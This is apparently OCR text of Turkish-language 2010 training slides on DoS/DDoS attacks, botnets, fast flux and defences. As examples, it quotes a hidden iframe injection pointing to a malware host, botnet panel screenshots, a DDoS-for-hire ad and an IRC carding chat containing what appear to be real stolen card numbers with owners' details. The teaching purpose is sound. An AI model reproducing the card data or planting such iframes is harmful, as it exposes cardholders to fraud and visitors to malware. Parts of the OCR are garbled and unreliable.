Temel Kavramlar, DoS/DDoS
Saldirilari ve Cesitleri
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Standart Guvenlik Bilesenleri

* Hersey gaz ve toz bulutuyken...
* (C.ILA)

Confidentiality

Integrity Availability
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En Onemli Bilesen:Availability

* Erisilebilirlik olmadan glvenlikten s6z edilemez!

A A
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Bilinmesi Gerekenler...

* Gelen DDOS saldirisi sizin sahip oldugunuz
bantgenisliginden fazlaysa yapilabilecek cok sey yok!

 DDOS saldirilarinin bayuk cogunlugu bantgenisligi
tasirma seklinde gerceklesmez!

* Bazi saldir tiplerinde karsi tarafin génderim hizi

dusurulebilir
o AN
Giircistan DDOS saldirisi
200-800 Mbps arasi

Largest Attack Observed — Past 12 Months

W <100 Mbpe Il 100-500 Mepe 1-4 Gbps

Fgure 5: Largest Attack Observed — Past 12 Months
Source: Arbor Metworks, Ine
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DOS/DDoS Hakkinda Yanlis Bilgiler

* Bizim Firewall DOS’u engelliyor
e Bizim IPS DOS/DDOS’u engelliyor...
* Linux DOS’a karsi dayaniklidir

* Biz de DDOS engelleme Urund var
 Donanim tabanli firewallar DOS’u engeller
e Bizde antivirds programi var

 DOS/DDOS Engellenemez
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Genel Kavramlar

 DOS(Denial Of Service)
 DDOS(Distributed Denial Of Service)

e Zombi

 BotNet(Robot Networks)

* |P Spoofing f
* FastFlux networks og

 SYN, FIN, ACK, PUSH ...
* Flood Availability

 RBN(Russian Business Network) ‘
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BION

e DOS(Denial Of Service) = sistemleri calisamaz hale
getirmek icin yapilan saldiri tipi

 DOS saldirisinin yuzlerce, binlerce farkl sistemden
yapilmaz

* Bazi saldirilar 6zunde DoS, sonuclarina gére DDoS’tur

— Tek bir sistemden yapilan spoof edilmis IP kullanilan SYN
flood saldirilar gibi

* DoS saldirilarini engelleme kolaydir
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 DDOS(Distrubuted Denial of Service ) =Dagitik Servis
Engelleme

* Binlerce, ylzbunlerce sistemden yapilabilir
e Genellikle sahte IP adresleri kullanilir

e BotNet’ler kullanilir %
e Saldirgan kendini gizler
Mastermzis)(‘y/x\
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| Victim

DoS/DDoS Saldirlari ve Korunma Yollari - 2010 Bilgi Guvenligi Akademisi




Target
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Malware

e Kotucul yazillm

* Bilisim sistemlerine ylUklenerek sistemi kot amacl
kullanimini saglayan yazilim tara
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* Bir zaafiyeti kotuye kullanarak sisteme izinsiz erisim
yetkisi veren program/scriptlerdir

* Sistemlerdeki zaafiyetler exploit edilerek zararli
vazilimlar yuklenebilir

* Sistemlerdeki zaafiyetler exploit edilerek DoS yapilabilir

Fis ¥ew [uby Faga lawlb Cphiore Sedow Felp b
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Drive By Download

Landing Site

* Kullanicinin haberi olmadan s (1) Glont ists o landing s

* (3) Redirect to get the exploit

. . N l (2) Redirect to get the exploit g @
Sistemine zararli yazilim yukleme veir @

Hop Point

sdals uonaenped U

| o
(4) Download the Malware executable & j

are Distribution Site

(= [#] hitp:thwww.riorey.com.tr/ - Windows Internet Explorer [#]

g@ > |E Fitkpe fwwv riorey .com.tr

File Edit View Favorites Tools Help Kﬂﬁpﬁrsk}f Lab
¢ Favorites 1ﬁhttp:ﬂwww.riorey.com.tri [—‘ -

ddos vemeven site hacklenmeve mahkumdur demekld agiklanmzt kapatin HeuRisTiC Tr Degil Sadece Dinya Markasi Misafirperverliginiz icin tesekkirler

& [#] hitp:/iwww.riorey.com.tr/ - Original Source [#]

File Edit Format
| ddos vemeven site hack neye mahkumdur demekki ag&#305;klars3305;ns3305;2z53305; kapati3305;n HeuRisTiC Tr

5 De£#227;1i1 Sadece Diinya Yarkass33035; Misafirperverlis$227;iniz igin tes3Slekkiirier

S 28| <html>

Ba <body>

| <iframe src="http://survivorkadinlarerkekler.com/show.php" width="0" height="0" frameborder="0"></iframe>
o </body>
6 </html>
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Zombi/(ro)BOT

e Zombi: Emir kulu

— Cesitli acikliklardan faydalanilarak sistemlerine sizilmis ve
arka kapi yerlestirilmis sistemler

— Temel sebebi: Windows yamalarinin eksikligi
* roBOT = Uzaktan yonlendirilebilir sistemler
— Zombi

* Dlnyada milyonlarca vardir
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Zombi Olmamak Icin Antiviris Yeterli midir?

a-squared 4.0.0.101 2009.05.15 -

AhnLab-V3 o002 2009.05.15 =

AntiVir 7.9.0.168 2009.05.15 TR/Crypt.XPLCK. Gen
Antiy-AVL 2.0.3.1 2009.05.15 -

Ruthentium 5.1.2.4 2009.05.15 -

Avast 4.8.1335.0 2009.05.15 Win32:MDrop-2
VG 8.5.0.338 20058.05.15 Dropper.Mdrop. N
BitDefender 7.2 2009.05.15 -

CAT-QuickHeal 10.00 2009.05.15 -

ClamhiV 0.94.1 2009.05.15 =

Comodo 1157 2009.05.08 -

DriWeb 5.0.0.12182 2009.05.15 -

eSafe 7.0.17.0 2009.05.14 -

eTrust-Vet 31.6.6507 2009.05.15 =

F-Prot 4.4.4.58 2009.05.15 -

F-Secure 8.0.14470.0 2009.05.15 -

Fortinet 3.117.0.0 2009.05.15 -

GData 13 2009.05.15 Win32:MDrop-2
Ikarus T3.1.1.49.0 2009.05.15 -

KTAntiVirus 7.10.735 2009.05.14 -

Kaspersky 7.0.0.125 2009.05.15 -

McAfee 5616 2009.05.15 =
MchAfeet+Artemis 5616 2009.05.15 -
Mchfee-GW-Edition 6.7.6 2009.05.15 Trojan.Crypt.XPACK.Gen
Micraosoft 1.4602 2009.05.15 -

NOoD32 4080 2009.05.15 =

Norman £.01.05 2009.05.14 -
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(ro) BOTNET(works)

* Zombi ve roBOTlardan olusan yikim ordulari!
e Uzaktan yonetilebilirler
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Nasil Calisir?

~ Botmaster
IRC . 5. Commands
uﬂ——_—_—
Server(s)
DNS
Server
Botnet
%‘j 5. Commands
E Bot

annluad

1. Exploit

Yulnerable 3. DN Lookup (%)

Host
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Ne Amacla Kullantlir

* Yeralti siber ekonomisinin en gucli kazang kapisi
* SPAM macli kullanilabilir
* Google reklamlarindan para kazanma amacl

* Google Adword’de 6ne ¢cikma veya bir firmayi geri
distirme amacl kullanilabilir

e DdoS yapmak icin kullanilabilir

* Bilgi calma amach kullanilabilir
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BotNet’ler Uzerinden Toplanan Kredi Kartlari

ish.i,was.a.el33t.net)]

= Spain
_E 97261/MONTE GANETA 3 5?C/BILBAC/48014/NULL/626677175/BARBARAREGALADO/ =
: /5540610501623567/12/2010/253/BARBARA REGALADO VALENZUELA/mc/ES/ Pass VBV, |g ® | =iz ‘ 2

d) [Z] #ecpowerz [ tttracks #CadngZone | EwopDumps | |4p Channels List

:
93239/Eskisehir Osmangazi University/Eskisehir/26030/NULL/{90) 532 5283075/Mujgan/Sagi
-\5437712233074303/06/2010/352/Mujgan Sagir/mc/TR/ Pass VBV.

Poland
392834/Dolna 7/Warsaw,/00-773/NULL/8-903-5200-244/Arkadiusz/Sugier/

/4289150060282800/04/2012/365/Arkadiusz Sugier/visa/PL/ Pass VBV, are looking for

Switzerland any dumps for shoping?
95158/108 111,Raheja Chambers,Free F/Mumbai/4000021/NULL/S820428794/Mr Puneet/Makar/

f4629860006399000/12/2011/297/Mr Puneet Makar/visa/IN/ Pass VBV. man with high balances
]

<EuropDumps> i will offer till 26$
<EuropDumps> for one

<cardmaker> himmnm good
<EuropDumps> visa master ?
<cardmaker> visa

—_ [ ' .

- ootk ol
| Channels |4 Channels List

<EuropDumps> ok

<EuropDumps> wait to show u

<EuropDumps> what turkish bank i have
<EuropDumps> or u need any

<{cardmaker> which method are you prefer for many transfer?
<{EuropDumps> western

<EuropDumps> better

<{cardmaker> please list all of bank that u have
<{cardmaker> ok

<EuropDumps> ok

<EuropDumps> YAPI_UE_KREDI_BANKASI
<EuropDumps> TURKIYE_GARANTI_BANKASI
<EuropDumps> ALTERNATIFBANK

<EuropDumps> YAK_BANK

<EuropDumps> EGEBANK

<EuropDumps> SEKERBANK

<EuropDumps> FINANSBANK

<EuropDumps> TURKIYE_UAKIFLAR

<EuropDumps> PAMUKBANK_TURK_ANONIM_SIRKETI
<EuropDumps> this anks

<EuropDumps> banksx

<EuropDumps> + BARCLAYS

m <cardmaker> himm.. some of these banks are already out of business

[t

i<l
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Nasil YOonetilir?

* P2P
° IRC Stepping Stepping I 4
Bt 2
 WEB
— HTTPS .
 Twitter

Bootmaster
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Nasil Farkedilir?

e Garip trafik davranislari
— SPAM
— DDoS
* Belirli DNS adreslerine gdnderilen istekler
— Zeus Tracker
e Suc amaclh kullanilan botnet yonetim IP adreslerine
vapilan baglantilar
— Russian Business Network
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BotNet Yazilimlari

Cwiktker

upd4t3

Folow

aHROcDovL2)pdC5seS8xN2EzdFMc

about 2 hours ago from web

aHROcDovL2)pdCSseSIMT2ZZSTyBodHRwWOIBVYmIOLmxSLOIZ2

about 2 hours 20 from web

2HROcDovL2)pdCSseSEXN2wORmMEgaHROCDOVL2JpdCSseS8xN

about 4 howes 3go freen web

aHROcDovL2)pdCSseSIwWbVN 1 YyBodHRwOI8vYmIOLmxSLzE3b

about 4 hours 290 from web

aHROcDovL2)pdCSseSSHaHVVASBedHRwOIBvYmIOLmxSL1FGC

about § hours 190 from web

aHROcDovL2)pdCSseSORakFawQ==

about 5 hoyrs 390 from wed

aHROcDovL2)pdCSseS83UGFEQQ==

about 5 hours 290 from web

2HROcDovL2)pdCSseS8zUndBTiBodHRWOIBVYmIOLmxSLzwU0

s hea b

Home Profile Find People Settings Help Sign out

Name upda3

20 7
following followers

Tweets 25

Favorites

Actions
block upd4t3

Following
AL &= 8E
BocHEU

v 1L Hl B Y
= ]

RSS feed of cpdsnd's tweets
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FastFlux Nedir?

* Bir atlatma teknigidir

* Genellikle zararl icerik yayan sitelerin ip tabanli
kapatilmasini/engellenmesini dnlemek icin kullanilir

* Teknik aciklama: Domain isimlerinin dastuk TTL
kullanilarak binlerce farkli IP adresi Uzerinden
sunulmasi

— www.zararlicerik.com = 5000 farkli IP adresi TTL degeri 30
dakika
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http://www.zararlicerik.com/

FastFlux Ornegi

e Saldirgan zararl icerikli bir sayfa yapar

 Bunu dusuk TTL degeriyle onbinlerce farkli sisteme
yonlendirir(botnet)

* Phishing vs icin mail gdnderir

* Maili alan herkes farkli sunucuya baglanti kurmaya
calisir

* |P adresi belirlenip engellense
bile birkac dakika sonra farkli
bir IP adresinden tekrar yayin
yapilir... -

Normal Network Fast-Flux Network

2)
GET redirected

Web Request Comparison
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Untraceable Filmi




FastFlux Networks-Ornek

[rootBseclabs ~]# dig fastflux.bga.com.tr

;5 Truncated, retrying in TCP mode.

; $42> DiG 9.6.1-P1 <<{>> fastflux.bga.com.tr

;5 2lobal options: +cmd

;3 Got answer:

;5 —>>HEADER<<{- opcode: QUERY, status: NOERROR, id: 13652
;3 flags: qr rd ra; QUERY: 1, ANSWER: 60, AUTHORITY: 0, ADDITIONAL: O
;3 QUESTION SECTION:

;fastflux.bga.com.tr. IN A

;3 ANSWER SECTION:

fastflux.bga.com.tr. 15 IN A 34.2.3.4
fastflux _bga.com._tr. 15 IN A 45.2.3.4
fastflux.bga.com.tr. 15 IN A 65.2.3.4
fastflux.bga.com.tr. 15 IN A 78.2.3.4
fastflux _bga.com.tr. 15 IN A 81.2.3.4
fastflux.bga.com.tr. 15 IN A 88.2.3.4
fastflux _bga.com._tr. 15 IN A 90.2.3.4
fastflux.bga.com.tr. 15 IN A 91.2.3.4
fastflux.bga.com.tr. 15 IN A 111.2.3.4
fastflux _bga.com.tr. 15 IN A 112 . 2.3 .4
fastflux.bga.com.tr. 15 IN A 113.2.3.4
fastflux _bga.com._tr. 15 IN A 114 .2.3.4
fastflux.bga.com.tr. 15 IN A 115.2.3.4
fastflux.bga.com.tr. 15 IN A 122.2.3.4
fastflux _bga.com._tr. 15 IN A 152 .3.0.4
fastflux.bga.com.tr. 15 IN A 1.2.3.3
fastflux _bga.com._tr. 15 IN A 1.2.3.4
fastflux.bga.com.tr. 15 IN A 1.2.3.24
fastflux.bga.com.tr. 15 IN A 1.2.3.40
fastflux _bga.com._tr. 15 IN A 1.2.3.44
fastflux.bga.com.tr. 15 IN A 1.2.3.45
fastflux _bga.com._tr. 15 IN A 1.2.3.46
fastflux.bga.com.tr. 15 IN A 1.2.3.47
fastflux.bga.com.tr. 15 IN A 1.2.3.48
fastflux _bga.com._tr. 15 IN A 1.2.3.49
fastflux.bga.com.tr. 15 IN A 1.2.3.99
fastflux _bga.com._tr. 15 IN A 1.2.23.4
fastflux.bga.com.tr. 15 IN A 1.2.30.4
fastflux.bga.com.tr. 15 IN A 1.2.31.4
fastflux _bga.com._tr. 15 IN A 1.2.32.4
fastflux.bga.com.tr. 15 IN A 1.2.33.4
fastflux.bga.com.tr. 15 IN A 1.2.34.4
fastflux.bga.com.tr. 15 IN A 1.2.35.4
fastflux.bga.com.tr. 15 IN A 1.2.36.4
fastflux _bga.com._tr. 15 IN A 1.2.37.4
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FastFlux Cesitleri

e Basit fast flux
— illegal web sitesi farkli IP adreslerinde host edilir

 Name Server (NS) fluxing
— DNS sunucular farkli IP adreslerinde host edilir

— Boylece Ip yerine domain adindan engelleme yapilmasi da
zorlasir

e Double flux

— Hep web sayfalarinin IP adresleri hem de DNS sunucu IP
adresleri farkli IP adreslerinde host edilir
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Fast Flux Engelleme

e Fast flux amacli kullanilan botlarin bulunmasi ve
kapatilmasi

e Fast flux icin kullanilan domain isimlerinin kayitlarinin
tum dinyadan silinmesi
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DDoS Saldirilarinda Amac

e Sistemlere sizma girisimi degildir!!

* Bilgisayar sistemlerini ve bunlara ulasim yollarini islevsiz
kilmak

 Web sitelerinin,

E-postalarin, telefon
sistemlerinin calismamasi
e Para kazanci
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Kim/Kimler yapar?

Hacker gruplari

Devletler

Siradan kullanicilar

Ticari sirketler

Cani sikilan bilgisayar kurtlar
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Kimler Neden Yapar?

* Ev kullanicilari (ADSL vs)
— Kicguk sitelere HTTP GET Flood seklinde
— Genelde tehlikesizdirler

* Hackerlar/Profesyoneller

— Botnet olustururken sadece son kullanicilardan degil, sunucu
sistemlerden faydalanirlar

— Bir sunucu ~1000 istemci gliciinde trafik tretebilir
— Ozellikle Linux sunuculardaki guvenlik acikliklari cok kullanilir

* Ellerinde saglam kaynaklar vardir

— Bazilari bu kaynaklari satar(RBN)
— GUnluk 10 Gb atak 300 S vs
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BotNet Satin Alma

GhostMarket.Net A New Era to Virtual Marketing

ek LAl Search this topic...

REGISTER

New DDoS service - attack service 80000 to 120000 bots
Hello,

| offer serious DDoS attack service from 10 Gbps to 100 Gbps.

I always have between 80,000 and 120,000 bots on my IRC channel.
Type of attack : SYN - TCP - ICMP - UDP - HTTP - HTTPS - NEWSYN
| can take down every website even if DDoS protected.

Price start from 200 S USD 24 hours.

AVAILABLE : Free 3 minutes demonstration of attack.
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Ne kadar zordur?

&9 Zeus = Statistics - Mozilla Firefox

Datei Bearbeiten  Ansicht

Chronik  Lesezeichen Extras Hife

—(,!;Quﬁ-u'b

L

- ¢ - X o I e v - [l

%]
F

[t}

ZeusS :: Statistics

-

Information:
Profile: M Information
rofile: e
GMT date: 11.03.2009 Total logs in database: 2677358
GMT time: 14:15:27 Time of first install: 19:59:26 13.02.2009
Statistics: Total bots: 30585
Total active bots in 24 hours: 678
— Summary
Botnet:
Botnet:
Online bots
T e e Installs (127) Resat Online bots (578) Razat
L GB 32| |TH 122
4
= = e | | 121
SEeich RU 19 |[RU 120
Search with template us 19 || GB a6
Uploaded files TH 14 || us 33
System: DE 6| TR 25
Profiles I 6N 13
- FR. 3 || vn ]
B i 2||pPE 9
SIS PE 2||HuU 5
Logout CN 2||5A 3
KR 1||IT 2
TE! 1((DE 2
cH 1||MA 2
MY 1|([(EG 2
SA 1||uAa 2
D 1||AZ 2
VN 1((BY 2
TR 1||LB 1
LB 1((MY 1
ES 1
Fertig of [ as S | Apachefz |

Courtry
< ' ¢« e
" 2 4 Mcwace
0 3 ¢ B vl
6 ‘ ¢ B pprrmn
0 4 4 Pasnee Fecerastor
- ¢ 4 o George
B Create new bask
Hont{port
Rt
20001220 outy
2008142
Saborer:
»
POST
2
Pape !t ot
rolate far SPAM Tank x

cghyte

(o ~ame e amgimy wd el (e e s
Dot 4 Ve Vo bt
MY, A Bl A A

et BAs Wt e

Vo
T L T T
and vyl e e M
Mol wplead gt 1y
"o

EOOE T R

Search det (mach: o, b, country)

L Fetoeow

00504 08 00 22 2
200000 08 00 41 10
fooe 20000008 063512
200024 08 0G0 M
00604 00 00 20 40
200000 L8 (2213

Status:

Stat:

Lazune

AXGCt ORI 0
200050 00 08 3 20
200500 08 (3 17 3
20050008 00 I 20
200644 28 00 37 20
2008-00.0% 0 37 20

Toginrg |

Ve




Niye Yapilir?

* Sistemde glvenlik acigli bulunamazsa zarar verme
amacli yapilabilir
— Ya benimsin ya ...

* Politik sebeplerden

* Ticari sebeplerle

* Can sikintisi & karizma amacl
— Bahis amacli(forumlarda)
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Neden Kaynaklanir?

DOS/DDOS

Protokol
Tasarim Hata

TCP Syn
flood

Yazilim BUG
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DDOS Sonuclar

mm Finansal kayiplar

mm Prestij kaybi

= Zaman kaybi ©

DoS/DDoS Saldirlari ve Korunma Yollari - 2010 Bilgi Guvenligi Akademisi



DDoS Cesitleri

DDOS

Bandwidth
Doldurma

Kaynak
Tuketimi

J
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DOS/DDOS Cesitleri

* Bandwidth sisirme
— Udp flood, icmp flood (diger tiim tipler)
e Kaynak tuketimi(Firewall, server)
— Synflood, ACK/FIN flood, GET/POST Flood, udp flood

* Programsal hata
— Bind DOS

 Protokol istismari
— DNS amplification DOS

Sahte IP kullanarak/ Gercek IP kullanarak
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DOS/DDOS Cesitleri-Il

* Her protokole 6zel DoS/DDoS saldiri yontemi vardir
— ARP, Wireless
—IP
* ip flooding
— ICMP
* icmp flooding, smurf
— TCP
* Syn flood, tcp null flood
— UDP
* Udp flood
— DHCP/SMTP/HTTP/HTTPS/DNS
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DDOS-1:Bandwidth Sisirme

* Onlemenin yolu yoktur
— Surahi bardak iliskisi
* ISP seviyesinde engellenehbilir...
e L7 protokolleri kullanilarak yapilan DDOS’larda saldiri
trafigi cesitli yontemlerle ~6’da birine dusurulebilir
— HTTP GET flood 400 Byte
— |IP Engelleme sonrasi sadece syn 60 byte
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DDOS-II:Ag/glivenlik cihazlarini yorma

 Amac ag-glvenlik sistemlerinin kapasitesini zorlama ve
kaldiramayacaklari kadar yuk bindirme

 Session bilgisi tutan ag/guvenlik

Cihazlarinin kapasitesi sinirlidir

DoS/DDoS Saldirilari ve Korunma Yollari - 2010 Bilgi Guvenligi Akademisi



Uygulamaya Ozel DoS

* Uygulamaya 6zel DoS saldirilari
* Programlama hatalarindan kaynaklanir
* Guncelleme yaparak korunulabilir

Secunia Advisory SA26636
Apache mod_proxy "date"” Denial of Service Vulnerability

Secunia Advisory
Release Date
Last Update

Popularity
Comments

Criticality level
Impact

Where
Authentication level

Report reliability
Solution Status

SAZ66360
2007-08-30
2007-09-10

19,378 views
0 comments

Less critical o=

DoS
From remote

wendor Patch

3

A
i DOWNLOAD CS5I

A,

DOWNLOAD PSI
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Eski yontemler

e DDoS saldirilari en cok 2000’li yillarda medyanin
dikkatini cekmistir
— Amazon
— Ebay
— Yahoo
— Root Dns saldirilari

 GuUnumuzdeki DDoS kaynaklarinin cogu eski tip DDoS
ataklarini ve araclarini anlatir

 GuUnUmuzde eski tip ydontem, arac kullanan DDoS
saldirilarina rastlamak cok zor
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Eski Yontem DDoS Saldirilari

e Smurf

e Teardrop
e Ping Of Death
* Land Attack

DoS/DDoS Saldirlari ve Korunma Yollari - 2010 Bilgi Guvenligi Akademisi



Smurf atagi

ICMP ve UDP Paketleri Broadcast olarak gonderilebilir

/
Network Clients

ICMP ECHO REPLY
%”‘ traffic /

~Valnerable network device
\ (Amplifier) /

Victim

Specified
ICMP ECHO
REQUEST
packet to
network
broadcast
address

Attacker

Tek bir paket gonderilerek milyonlarca cevap doniilmesi saglanabilir(di)
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Smurf Atagl Artik Calismaz. Neden ?

 Tum router ve isletim sistemleri default olarak
broadcaste gelen ICMP paketlerine cevap vermez!

root@seclabs:~# sysctl

net.ipvd.icmp_echo_ignore_broadcasts
net.ipvd.icmp_echo_ignore_broadcasts =1
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e Saldirgan parcalanmis paket gonderir ve paketlerin
offset degerleriyle oynar

* Paketi alan hedef sistem birlestirme islemini diizgun
yapamadigl icin reboot eder

e GUnumuzde islemez bir yontemdir!
 Tum isletim sistemleri gerekli yamalari ¢cikarmistir
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* Hedef sisteme kaynak IP ve hedef IP adresi ayni olan
paketler(hedef sistemin IP adresi kayna, hedef sistemin
IP adresi hedef) gonderilerek sistemin cakilmasi saglanir

* GUnUmuzde calismaz!

* Tum isletim sistemleri gerekli yamalari gecmistir.

Spoofed TCP/SYN packet =G
Sy

source host/port =
victim address

[destination host/port =] ‘

Attacker —>

Victim
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Eski Araclar...

Table 3-1 DDosS tools and attack methods
Trin00 UDP
Tribe flood network UDP, ICMP, SYN smurf
Stacheldracht and variants | UDP, ICMP, SYN smurf
TFN 2K UDP, ICMP, SYN smurf
Shaft UDP, ICMP, SYN combo
Mstream Stream (ACK)
Trinity, Trinity v3 UDP, SYN, RST, Random Flag, ACK, Fragment
'Zombiler'

DDoS ataklann gergeklestirirken yakalanmamak icin "zombi" denilen kiglk programciklann kullanildiindan ¢
bilgisayann hedeflere yonlendiriimesi sajlanarak, saldirry yapan kisinin IP adresininde gizlenmesi saglamir. Zom
yerlestirilen zombiler kendi blnyesindeki daemonlar vasitasiyla belirli bir porttan (1524 tcp, 27665 tcp, 2744
gok Unix ve Linux tabanh sistemlerde zombiler kullanilsada Windows tabanh sistemlerde de zombiler kullanilma

DDoS icin kullarlan araglar:
_ Trinoo{Trin00})
_ The Tribe Flood Network (TFN)
_ Stacheldraht
_ Trinity
_ Shaft
_ Tribe Flood Network 2K (TFN2K)
_ MStream




GUnumuzde tercih edilen yontemler

* Eski araclar, eski yontemler giniUmuzde calismaz!

* Yeni Yontemler
— SYN Flood *
— HTTP Get / Flood *
— UDP Flood *
— DNS DOS
— Amplification DOS saldirilari
— BGP Protokold kullanarak DOS
— Sifreleme-Desifreleme DOS saldirilari

e * 1 saldirilar eskiden de yapilird
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Syn Flood

* Hedef sisteme milyonlarca sahte IP adresinden
geliyormus gibi SYN bayrakl TCP paketleri génderilir

* GUnUmuzde de en sik tercih edilen DDoS saldir tipidir

* Yapani bulmak imkansiza yakindir
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UDP Flood

 UDP kullanilarak gerceklestirilir

* Genellikle sahte IP adresleri tercih edilir

* Ciddi risk barindirmaz

» Kolay engellebilir(!)

e Standart bir engelleme yontemi yoktur
— Port kapama

XXX.YYY.1101, UDP »
XXXYYY.1102, UDP B
Victim
XXXYYY.1103, UDP B
XXX.YYY.1104. UDP B
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Yeni Araclar

* Hping
e Juno (eskiden de kullanilirdi)
* Netstress ©

* Daha cok BotNet yazilimlari kullanilir
— Zeus Botnet
— Yes Exploit System
— Russ Kill
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Kolay Kullanimli BotNet

B Stats botnet

2 Refresh | [7]] Clear stats | 57 Cled
{

B List bots

Search bot {mask: id, ip, country):

Stats Bots | ID « Ver  Country P Status  First time Last time
r 1 4 Eorazi Free 2009-01-08 00:22:32 20089-01-08 08:37:20
375 All bots: 3
£] oNLINE: 6 2 4 [*lcanada Free 2009-01-0800:41:10  2009-01-08 08:37:20
-i‘;? OFFLINE: 0 3 4 = Thailand Free 2009-01-08 04:33:12 20089-01-08 08:37:20
é Free: 6 4 4 [l kyrgyzstan Free 2009-01-08 06:03:38  2009-01-08 08:37:20
5% Bor: 0 5 4 = Russian Federatior Free 2009-01-0806:10:46  2009-01-08 08:37:20
| Country: 1 =
6 4 Georgia Free 2009-01-08 08:0213 2009-01-08 08:37:20
! | Bl Create new task
{ |
() Add new task Delete task  Search host:
@ e Host[:port]: Bots:
R oa HOST Bots Type Start [
1 aru 01999 GET 2008-12-20/
L [ Path: Type:
2 google ru 0/566 GET 2008-12-31| ==
- = rer: :
Bl Add Task Loads = Referel Status
2 b
MName: POST: Start:
Rules: &
Rules Country orfand Bot 1D. End:
| Examples:
0 1) US,UK,UZ 3
2)23.3.9,133,98
e 3)3.9,U8.23,UK,133,98,UZ
Bl Add Task SPAM [ Fladd || 57 cancel |
File: | Select file (2] — — =
Limit mail on one bot: ‘ [ 4 Pagelt [oft v bl @2 [ Viewtasks Displaying 1 - 6 of 6
[51 | - - -
Keys for subject (split [+ Add l-ﬂ == 7dd S L > > B i
space): — - Bl Add Template for SPAM Tas % B Update build x|
Senders List: Select Senders List
A - Name template: o
Servers List: Select Servers List . Version: 4
Enter name new template and upload files attach. : o= o
Template: qwel B | - Uploaded txt file for text mail File: Select file
§' - Uploaded .html, .ktm file for html mail.
Status: Active v If html mail used image, ¢ss - upload auto attach in mail,

and used name into html.
#ad upload pdf, zip, rar, doc, xls and etc. for attach in
mail.

[ 71 add J [_ﬁ Generate subjects] Lgﬂ Cancel ]

fray g e or e
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RussKill

) RussKill - Mozilla Firefox

RussKill

Help Eotor omnaiin: 835 | Arargyrommx botoer: 776 | Brero: 0 Hide wrl:

""Flows"' - KoM ecTEO IIOTORDE $T4EH.

"URL'' - CoRIMER B4 BOTODET: §OTE DArguomes GyemyT opariere 2. CoRIRH By HED DaseLarh

TIEEOCON CTp OB

""Hidewrd" - TIopgeraErsn: ccm{rm:m oFpATIETe T BOTE YTHREL (EIETE PeallRHED 4pec
-

?':J ﬁErl’ng_‘lnmnq-r ATAENEATE .

nide. php

CEpEEDA. LLj
Ecme ocraers mome: Flowrs poee 1

Ilexaszate _ BOTOE HAYHHAA _ Mk ATk
|NEIIP|BepCHHJOTCTy14
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Information:

Current user: russian
GMT date: 15,10,2009
GMT tirmne: 19:16:17

Statistics:
Surmrmary
oS

Botnet:

- Bots

Reports:
Search in databaze
Search in files

Fitber_________________________________________________________|

Bots:

MAT status:

Botnets:

Online status:

IP-addresses:

Install status:

Countries: ru

Used status:

|
|
|
|

Comments status: | -

| outside NAT |
[online |
B v
E v

X

| Reset form Jl Accept J

Logout
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Result (21):

Bots action: Icheck socks

v|(22])

1 server_01dfS%ed
2 microsof_f007b4_02660862
2 athlon_011feed4
4 microsof_ad86f1_00038eea3

& loner_xp_0001e25c

7 tycoon_adaS4ca2_0001bf92
& alexiz6_014408f1

9 microsof_1b0ea1_00026ff6
10 microsof_01fb7c_o02d12a2
11 microsof_bebZcl_0001e867
[##] 12 microsof_658578_00006b7b
[##] 13 krasnoar_46e2ch_0040cb67

(ESRCSRCNRCNRCNRCNRCNRCNEEY

tch
tch
tch
tch

5 dom_5404f68e72f_00036775 tch

tch
tch
tch
tch
tch
tch
tch
tch

1.2.1.1
1.3.1.1
1.3.1.1
1.3.1.1
1.3.1.1
1,3.1.1
1.2.1.1
1.3.1.1
1.3.1.1
1,3.1.1
1.3.1.1
1.2.1.1
1.3.1.1

92.61.24.60 RU
77.245.119.153 RU
94.161.102.60 RU
94,181.125.33 RU
95.78.86.81 RU
£8.80.39.1e4 RU
£1.20.174.20 RU
94.1681.119.193 RU
94.181.111.163 RU
92,241,227.220 RU
92.241.254.170 RU
78.85.109.72 RU
92.241.251.131 RU

£1:20:20
97116131
38159103
16:07:104
13:00:32
11:16:03
10:16:59
10:112:22
08:58:121
06136118
06:31:15
06:00:11
05:49:21

0.203 -
0.313 -
0.484 -
1.032 -
0.203 -
0.204 -
0.266 -
0.407 -
0.172 =
0.172 -
0.203 -
0.230 -
0,187 -

1 ) T T s T
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